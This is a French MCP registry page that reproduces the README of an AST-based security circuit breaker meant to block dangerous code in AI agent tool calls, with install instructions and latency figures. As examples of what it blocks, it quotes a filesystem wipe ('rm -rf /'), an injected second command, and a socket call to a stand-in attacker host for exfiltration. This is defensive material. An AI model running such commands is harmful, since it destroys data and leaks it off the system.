AW-1 Sovereign Circuit Breaker

Registre officiel Sécurité

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

Installation

Ajoutez ceci à la configuration MCP de votre client (Claude Desktop : claude_desktop_config.json ; Cursor : .cursor/mcp.json ; VS Code et les autres utilisent la même forme « mcpServers »).

Remote (sse)
Claude Code
claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'
Configuration JSON (Claude Desktop, Cursor, VS Code)
{
    "mcpServers": {
        "aw-1-sovereign-circuit-breaker": {
            "type": "sse",
            "url": "https://p20.laveto.net/wisdom/mcp/sse"
        }
    }
}

Documentation

Tirée du README du projet sur GitHub, actualisée chaque semaine. Les liens ouvrent GitHub.

Sommaire
  1. AW-1 Circuit Breaker
  2. ⚡ 10-Second Test Drive (Zero-Install)
  3. AW-1 Circuit Breaker
  4. Installation
  5. Running the Server
  6. MCP Client Configuration
  7. Exploit Interception in Action
  8. Runtime Latency Telemetry
  9. Framework Integration (LangGraph Example)
  10. License

AW-1 Circuit Breaker

[]()

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.


⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

pip install -r requirements.txt

Running the Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix
Attack VectorAttacker StrategyLLM Guardrail ResultAW-1 AST Circuit Breaker
Dynamic Executioneval(compile(...))Evades semantic filtersTripped (RESTRICTED_INVOCATION)
Shell Escapessubprocess.Popen(['bash', ...])Masked as system taskTripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltrationsocket.connect(('evil.com', 443))Disguised as HTTP fetchTripped (UNAUTHORIZED_MODULE_IMPORT)
Run the Showcase
python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Targetp50 Latencyp95 Latencyp99 LatencyStatus
AST Inspection (Benign Payload)0.0889 ms0.1298 ms0.1645 ms< 0.2 ms Overhead
AST Inspection (Adversarial Exploit)0.0520 ms0.0919 ms0.1051 msInstant Breakout Halt
Shell Argument Injection Guard0.0051 ms0.0096 ms0.0195 msSub-20 µs Inspection

Reproduce locally:

python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

Questions fréquentes

Qu'est-ce que AW-1 Sovereign Circuit Breaker ?

Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.

Comment installer AW-1 Sovereign Circuit Breaker ?

Il fonctionne comme serveur distant. Dans Claude Code : claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'. Pour les autres clients, collez la configuration JSON de cette page dans leurs réglages MCP.

Faut-il une clé API pour AW-1 Sovereign Circuit Breaker ?

Son entrée au registre n'indique aucune clé ni secret obligatoire. Certaines fonctions peuvent tout de même demander un compte auprès du service auquel il se connecte.

AW-1 Sovereign Circuit Breaker est-il open source ?

Oui. Son code est sur GitHub sous licence Apache-2.0.

Qui maintient AW-1 Sovereign Circuit Breaker ?

Il est publié par MvikManners. AI.tn le référence sans le maintenir ni le recommander.

Issu du registre MCP officiel. Être listé n'est pas une recommandation : vérifiez le code et les permissions d'un serveur avant de lui donner accès à vos données.